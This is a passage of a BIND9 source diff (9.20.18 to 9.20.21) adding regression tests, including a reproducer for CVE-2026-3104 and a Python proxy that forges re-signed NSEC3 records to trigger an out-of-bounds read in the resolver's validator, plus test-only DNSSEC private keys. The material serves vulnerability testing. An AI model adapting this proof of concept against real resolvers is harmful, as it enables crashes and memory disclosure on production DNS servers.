10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +zone "." { + type primary; + file "root.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns1/root.db bind9-9.20.21/bin/tests/system/nsec/ns1/root.db --- bind9-9.20.18/bin/tests/system/nsec/ns1/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns1/root.db 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +. IN SOA . a.root.servers.nil. ( + 2000042100 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +. NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +excessive-nsec-rrsigs. NS ns2.excessive-nsec-rrsigs. +ns2.excessive-nsec-rrsigs. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns2/excessive-nsec-rrsigs.db.in bind9-9.20.21/bin/tests/system/nsec/ns2/excessive-nsec-rrsigs.db.in --- bind9-9.20.18/bin/tests/system/nsec/ns2/excessive-nsec-rrsigs.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns2/excessive-nsec-rrsigs.db.in 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ IN SOA mname1. . ( + 1 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) + +@ NS ns2 +ns2 A 10.53.0.2 + +* A 127.0.0.1 diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns2/named.conf.j2 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,29 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +zone "excessive-nsec-rrsigs" { + type primary; + file "excessive-nsec-rrsigs.db.signed"; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns3/named.conf.j2 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,35 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// validating resolver + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation yes; + + max-records-per-type 2; +}; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns3/trusted.conf.j2 bind9-9.20.21/bin/tests/system/nsec/ns3/trusted.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec/ns3/trusted.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns3/trusted.conf.j2 2026-03-13 22:01:10.487884186 +0000 @@ -0,0 +1,18 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +trust-anchors { +{% for ta in trust_anchors %} + "@ta.domain@" @ta.type@ @ta.contents@; +{% endfor %} +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec/tests_excessive_rrsigs.py bind9-9.20.21/bin/tests/system/nsec/tests_excessive_rrsigs.py --- bind9-9.20.18/bin/tests/system/nsec/tests_excessive_rrsigs.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/tests_excessive_rrsigs.py 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,87 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import dns.rdataclass +import dns.rdatatype +import dns.rdtypes.ANY.RRSIG +import dns.zone + +from isctest.run import EnvCmd + +import isctest + + +def duplicate_rrsig(rdata, i): + return dns.rdtypes.ANY.RRSIG.RRSIG( + rdclass=rdata.rdclass, + rdtype=rdata.rdtype, + type_covered=rdata.type_covered, + algorithm=rdata.algorithm, + labels=rdata.labels, + # increment orig TTL so the rdataset isn't treated as identical record by dnspython + original_ttl=rdata.original_ttl + i, + expiration=rdata.expiration, + inception=rdata.inception, + key_tag=rdata.key_tag, + signer=rdata.signer, + signature=rdata.signature, + ) + + +def bootstrap(): + keygen = EnvCmd("KEYGEN", "-a ECDSA256 -Kns2 -q") + signer = EnvCmd("SIGNER", "-S -g") + + zone = "excessive-nsec-rrsigs" + infile = f"{zone}.db.in" + signedfile = f"{zone}.db.signed" + + isctest.log.info(f"{zone}: generate ksk and zsk") + ksk_name = keygen(f"-f KSK {zone}").out.strip() + keygen(f"{zone}").out.strip() + ksk = isctest.kasp.Key(ksk_name, keydir="ns2") + + isctest.log.info(f"{zone}: sign zone") + signer(f"-P -x -O full -o {zone} -f {signedfile} {infile}", cwd="ns2") + + isctest.log.info( + f"{zone}: duplicate the RRSIG(NSEC) to exceed max-records-per-type" + ) + zone = dns.zone.from_file(f"ns2/{signedfile}", origin=zone) + for node in zone.values(): + rrsig_rdataset = node.find_rdataset( + dns.rdataclass.IN, dns.rdatatype.RRSIG, dns.rdatatype.NSEC + ) + orig = rrsig_rdataset[0] + rrsig_rdataset.add(duplicate_rrsig(orig, 1)) + rrsig_rdataset.add(duplicate_rrsig(orig, 2)) + zone.to_file(f"ns2/{signedfile}", sorted=True) + + return { + "trust_anchors": [ + ksk.into_ta("static-key"), + ], + } + + +# reproducer for CVE-2026-3104 [GL#5742] +def test_excessive_rrsigs(ns3): + # the real test is that there is no crash on shutdown - checked by the test + # framework when the test finishes + + # multiple queries seem more reliable to reproduce the memory leak, using a + # single query sometimes didn't cause a crash on shutdown + for i in range(10): + msg = isctest.query.create(f"x{i}.excessive-nsec-rrsigs", "A") + res = isctest.query.udp(msg, ns3.ip, attempts=1) + isctest.check.servfail(res) diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ans7/ans.py bind9-9.20.21/bin/tests/system/nsec3/ans7/ans.py --- bind9-9.20.18/bin/tests/system/nsec3/ans7/ans.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ans7/ans.py 2026-03-13 22:01:10.668878401 +0000 @@ -0,0 +1,490 @@ +#!/usr/bin/env python3 +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC. + +Simulates a malicious authoritative server that crafts NSEC3 responses +to trigger CWE-125 (out-of-bounds stack read) in validator.c:344. + +Attack chain: +1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response + (breaks the NSEC3 proof, forcing proveunsecure() fallback) +2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3 + with next_length=200 (exceeds 155-byte buffer) at position 0 +3. DS validation succeeds via unmodified NSEC3 (opt-out coverage) +4. ncache stores: [crafted_nsec3 (200B next), original_nsec3] +5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read + +Usage: python3 crafted_auth_v6.py + Listens on [ip]:[port] + Forwards to legitimate auth server on [10.53.0.6]:[port] + +Prerequisites: pip install dnspython cryptography +""" + +import base64 +import glob +import os +import signal +import socket +import struct +import sys +import time + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.asymmetric import ec, utils + +import dns.message +import dns.name +import dns.rcode +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +IP = sys.argv[1] +PORT = int(sys.argv[2]) +TARGET_NEXT_LENGTH = 200 +ZONE_FILE = "../ns6/evil.test.db.signed" + +# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF +NSEC3_ALG = 1 +NSEC3_FLAGS = 1 +NSEC3_ITERATIONS = 10 +NSEC3_SALT = bytes.fromhex("DEADBEEF") +NSEC3_TTL = 86400 + +# RRSIG timing: computed dynamically for portability +NOW = int(time.time()) +RRSIG_LABELS = 3 +RRSIG_ORIG_TTL = 86400 +RRSIG_INCEPTION = NOW - 3600 # 1 hour ago +RRSIG_EXPIRATION = NOW + 30 * 86400 # 30 days from now + + +def discover_nsec3_from_zone(zone_file): + """ + Auto-discover NSEC3 owner names and next hashes from the signed zone. + Returns list of dicts sorted by owner name. + """ + nsec3_records = [] + with open(zone_file, "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line or line.startswith(";"): + continue + parts = line.split() + if parts[3] == "NSEC3": + print(parts) + try: + idx = parts.index("NSEC3") + print(idx) + owner = parts[0] + next_hash_b32 = parts[idx + 5] + flags = int(parts[idx + 2]) + nsec3_records.append( + { + "owner": owner, + "next_hash_b32": next_hash_b32, + "flags": flags, + } + ) + except (IndexError, ValueError): + continue + nsec3_records.sort(key=lambda r: r["owner"]) + return nsec3_records + + +def b32_to_bytes(b32hex_str): + """Decode base32hex (RFC 4648) to bytes.""" + padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8) + return base64.b32hexdecode(padded) + + +def load_zsk(): + """Load the Zone Signing Key (ZSK) for re-signing modified records.""" + keys = glob.glob("../ns6/Kevil.test.+013+*.private") + for kf in keys: + pub = kf.replace(".private", ".key") + with open(pub, "r", encoding="utf-8") as f: + content = f.read() + if "256 3 13" in content: + with open(kf, "r", encoding="utf-8") as pf: + for line in pf: + if line.startswith("PrivateKey:"): + key_bytes = base64.b64decode(line.split(":", 1)[1].strip()) + pk = ec.derive_private_key( + int.from_bytes(key_bytes, "big"), + ec.SECP256R1(), + default_backend(), + ) + tag = int(kf.split("+")[-1].replace(".private", "")) + print(f"[*] Loaded ZSK key tag={tag}", flush=True) + return pk, tag + raise ValueError("No ZSK found") + + +def sign_rrset( + private_key, + key_tag, + rrset, + type_covered, + labels, + original_ttl, + expiration, + inception, + signer_name, +): + """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata.""" + algorithm = 13 + + sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl) + sig_rdata += struct.pack("!II", expiration, inception) + sig_rdata += struct.pack("!H", key_tag) + sig_rdata += signer_name.canonicalize().to_wire() + + rr_wires = [] + for rdata in rrset: + rdata_wire = rdata.to_digestable() + rr_wire = rrset.name.canonicalize().to_wire() + rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl) + rr_wire += struct.pack("!H", len(rdata_wire)) + rr_wire += rdata_wire + rr_wires.append(rr_wire) + + rr_wires.sort() + sign_data = sig_rdata + b"".join(rr_wires) + + der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256())) + r, s = utils.decode_dss_signature(der_sig) + raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big") + + full_rrsig_wire = sig_rdata + raw_sig + rrsig_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, + dns.rdatatype.RRSIG, + full_rrsig_wire, + 0, + len(full_rrsig_wire), + None, + ) + return rrsig_rdata + + +def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig): + """Sign using existing RRSIG as template for type_covered.""" + return sign_rrset( + private_key, + key_tag, + rrset, + template_rrsig.type_covered, + RRSIG_LABELS, + RRSIG_ORIG_TTL, + RRSIG_EXPIRATION, + RRSIG_INCEPTION, + template_rrsig.signer, + ) + + +def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps): + """ + Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer). + Returns (nsec3_rrset, rrsig_rrset). + """ + name = dns.name.from_text(owner_name) + signer = dns.name.from_text("evil.test.") + + crafted_next = original_next_hash + os.urandom( + TARGET_NEXT_LENGTH - len(original_next_hash) + ) + + nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS) + nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT + nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + nsec3_wire += bitmaps + + nsec3_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None + ) + + nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3) + nsec3_rrset.update_ttl(NSEC3_TTL) + nsec3_rrset.add(nsec3_rdata) + + rrsig_rdata = sign_rrset( + private_key, + key_tag, + nsec3_rrset, + type_covered=dns.rdatatype.NSEC3, + labels=RRSIG_LABELS, + original_ttl=RRSIG_ORIG_TTL, + expiration=RRSIG_EXPIRATION, + inception=RRSIG_INCEPTION, + signer_name=signer, + ) + + rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG) + rrsig_rrset.update_ttl(NSEC3_TTL) + rrsig_rrset.add(rrsig_rdata) + + print( + f"[*] Built crafted NSEC3: owner={owner_name}, " + f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}", + flush=True, + ) + return nsec3_rrset, rrsig_rrset + + +def modify_nsec3_next(rdata): + """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes.""" + orig_wire = rdata.to_digestable() + pos = 0 + hash_alg = orig_wire[pos] + pos += 1 + flags = orig_wire[pos] + pos += 1 + iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0] + pos += 2 + salt_len = orig_wire[pos] + pos += 1 + salt = orig_wire[pos : pos + salt_len] + pos += salt_len + hash_len = orig_wire[pos] + pos += 1 + next_hash = orig_wire[pos : pos + hash_len] + pos += hash_len + type_bitmaps = orig_wire[pos:] + + crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash)) + new_wire = struct.pack("!BBH", hash_alg, flags, iterations) + new_wire += struct.pack("!B", salt_len) + salt + new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + new_wire += type_bitmaps + + return dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None + ) + + +def name_label(name): + """Get the first label (NSEC3 hash) from a DNS name.""" + return str(name).split(".", maxsplit=1)[0].upper() + + +def is_target(dns_name, target_prefix): + """Check if a DNS name's first label starts with target prefix.""" + return ( + str(dns_name) + .split(".", maxsplit=1)[0] + .upper() + .startswith(target_prefix.upper()) + ) + + +def patch_a_response(response_data, private_key, key_tag, modify_name): + """ + Patch A response: modify the NSEC3 matching modify_name to break + the NSEC3 proof, forcing the resolver into proveunsecure(). + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + new_authority = [] + for rrset in msg.authority: + if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name): + new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype) + new_rrset.update_ttl(rrset.ttl) + for rdata in rrset: + new_rrset.add(modify_nsec3_next(rdata)) + new_authority.append(new_rrset) + print( + f"[!] PATCHED {name_label(rrset.name)}: " + f"next_hash -> {TARGET_NEXT_LENGTH}B", + flush=True, + ) + + elif rrset.rdtype == dns.rdatatype.RRSIG: + covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset) + if covers_nsec3 and is_target(rrset.name, modify_name): + target_rrset = [ + rs + for rs in new_authority + if rs.rdtype == dns.rdatatype.NSEC3 + and is_target(rs.name, modify_name) + ] + if target_rrset: + template = next(iter(rrset)) + try: + new_rrsig = sign_rrset_from_template( + private_key, key_tag, target_rrset[0], template + ) + rrsig_rrset = dns.rrset.RRset( + rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG + ) + rrsig_rrset.update_ttl(rrset.ttl) + rrsig_rrset.add(new_rrsig) + new_authority.append(rrsig_rrset) + print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Sign error: {e}", flush=True) + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] A response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name): + """ + Patch DS response: + - Change RCODE NXDOMAIN -> NOERROR + - Inject crafted NSEC3 (200B next) at position 0 in authority + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + if msg.rcode() == dns.rcode.NXDOMAIN: + msg.set_rcode(dns.rcode.NOERROR) + print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True) + + new_authority = [crafted_nsec3, crafted_rrsig] + print( + "[!] INJECTED crafted " + f"{name_label(crafted_nsec3.name)} " + f"(next={TARGET_NEXT_LENGTH}B) at position 0", + flush=True, + ) + + for rrset in msg.authority: + if is_target(rrset.name, inject_name): + print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True) + continue + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] DS response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def sigterm(*_): + print("SIGTERM received, shutting down") + os.remove("ans.pid") + sys.exit(0) + + +def main(): + signal.signal(signal.SIGTERM, sigterm) + signal.signal(signal.SIGINT, sigterm) + with open("ans.pid", "w", encoding="utf-8") as pidfile: + print(os.getpid(), file=pidfile) + + # Auto-discover NSEC3 info from signed zone + print(f"[*] Reading zone file: {ZONE_FILE}", flush=True) + nsec3_records = discover_nsec3_from_zone(ZONE_FILE) + + if len(nsec3_records) < 2: + print( + f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}", + flush=True, + ) + sys.exit(1) + + # First alphabetically = inject target, second = modify target + inject_rec = nsec3_records[0] + modify_rec = nsec3_records[1] + + inject_name = inject_rec["owner"].split(".")[0] + modify_name = modify_rec["owner"].split(".")[0] + inject_owner_full = inject_rec["owner"] + inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"]) + + inject_bitmaps = bytes.fromhex("0006400000000002") # A RRSIG + + print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True) + print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True) + + # Load ZSK for re-signing + private_key, key_tag = load_zsk() + + # Build crafted NSEC3 with next_length=200 + crafted_nsec3, crafted_rrsig = build_crafted_nsec3( + private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps + ) + + # Start UDP proxy + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((IP, PORT)) + print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True) + + while True: + data, addr = sock.recvfrom(4096) + try: + query = dns.message.from_wire(data) + qname = query.question[0].name + qtype = query.question[0].rdtype + qtype_text = dns.rdatatype.to_text(qtype) + print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[<] Query parse error: {e}", flush=True) + qtype = None + + fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fwd.settimeout(3) + fwd.sendto(data, ("10.53.0.6", PORT)) + try: + response, _ = fwd.recvfrom(65535) + if qtype == dns.rdatatype.DS: + print("[>] DS - inject crafted + RCODE change", flush=True) + modified = patch_ds_response( + response, crafted_nsec3, crafted_rrsig, inject_name + ) + sock.sendto(modified, addr) + elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA): + print(f"[>] A - modify {modify_name}", flush=True) + modified = patch_a_response(response, private_key, key_tag, modify_name) + sock.sendto(modified, addr) + else: + print(f"[>] {qtype_text} - forwarding", flush=True) + sock.sendto(response, addr) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Error: {e}", flush=True) + finally: + fwd.close() + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/nsec3/common.py bind9-9.20.21/bin/tests/system/nsec3/common.py --- bind9-9.20.18/bin/tests/system/nsec3/common.py 2026-01-09 13:39:28.130973477 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/common.py 2026-03-13 22:01:10.668878401 +0000 @@ -9,16 +9,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import os - from datetime import timedelta -import dns +import dns.rcode +import dns.rdataclass +import dns.rdatatype import pytest import isctest -pytestmark = pytest.mark.extra_artifacts( +NSEC3_MARK = pytest.mark.extra_artifacts( [ "*.axfr", "*.created", @@ -36,12 +36,10 @@ "ns*/*.signed", "ns*/keygen.out.*", "ns3/named-*.conf", + "ans*/ans.run", ] ) -ALGORITHM = os.environ["DEFAULT_ALGORITHM_NUMBER"] -SIZE = os.environ["DEFAULT_BITS"] - default_config = { "dnskey-ttl": timedelta(hours=1), "ds-ttl": timedelta(days=1), @@ -123,8 +121,8 @@ if "external-keys" in params: expected2 = isctest.kasp.policy_to_properties(ttl, keys=params["external-keys"]) for ek in expected2: - ek.private = False # noqa - ek.legacy = True # noqa + ek.private = False + ek.legacy = True expected = expected + expected2 assert "external-keydir" in params extkeys = isctest.kasp.keydir_to_keylist(zone, params["external-keydir"]) diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns5/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec3/ns5/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3/ns5/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns5/named.conf.j2 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,38 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS5 + +options { + query-source address 10.53.0.5; + notify-source 10.53.0.5; + transfer-source 10.53.0.5; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.5; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion yes; + dnssec-validation yes; + send-cookie no; +}; + +trust-anchors { + evil.test. static-key 257 3 13 "yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ=="; +}; + +zone "evil.test" { + type forward; + forward only; + forwarders { 10.53.0.7 port @PORT@; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key --- bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,5 @@ +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private --- bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: ggNXr56dVy7kxpAL5tFDNskg72fJmxhzqHNiaNcefXs= +Created: 20260220135822 +Publish: 20260220135822 +Activate: 20260220135822 diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key --- bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,5 @@ +; This is a zone-signing key, keyid 12713, for evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private --- bind9-9.20.18/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: v6iu6vE/hjOKCP/ob2DkqCeHdCUTqkZp4W9x4Id0Epg= +Created: 20260220135826 +Publish: 20260220135826 +Activate: 20260220135826 diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/evil.test.db bind9-9.20.21/bin/tests/system/nsec3/ns6/evil.test.db --- bind9-9.20.18/bin/tests/system/nsec3/ns6/evil.test.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/evil.test.db 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,32 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN evil.test. +$TTL 86400 +@ IN SOA ns1.evil.test. admin.evil.test. ( + 2024021401 ; serial + 3600 ; refresh + 900 ; retry + 604800 ; expire + 86400 